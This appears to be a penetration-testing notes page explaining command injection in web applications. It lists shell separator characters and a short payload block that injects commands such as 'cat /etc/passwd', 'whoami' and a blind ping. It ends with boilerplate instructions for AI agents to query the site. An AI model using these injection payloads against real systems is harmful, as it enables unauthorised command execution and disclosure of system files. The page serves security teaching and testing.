# Command injection

Command injection occurs when flaws in a web application allow the execution of OS commands. This typically occurs because inputs are not properly sanitized, allowing attackers to change or add to executed commands.

* To identify potential command injection vulnerabilities, pay particular attention to functionality within web applications that is normally performed by OS commands
* Use command line symbols in input fields to test for command injection
  * ; (used to separate commands in Bash)
  * \|&#x20;
  * || (second command runs if first fails)
  * &&#x20;
  * && (second command runs if first succeeds)
  * \>&#x20;
  * \>>
* Be sure to use commands specific to the target OS
  * cat vs. type
  * ping vs. ping -c
  * ls vs. dir

#### Payloads

```
command; id
command && whoami
command || ls (or dir depending on OS)
command; cat /etc/passwd 
command; type C:\Windows\win.ini
Blind
command; ping -c5 $ipaddress
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.oncyberwar.com/4.-exploitation/web-application-attacks/command-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
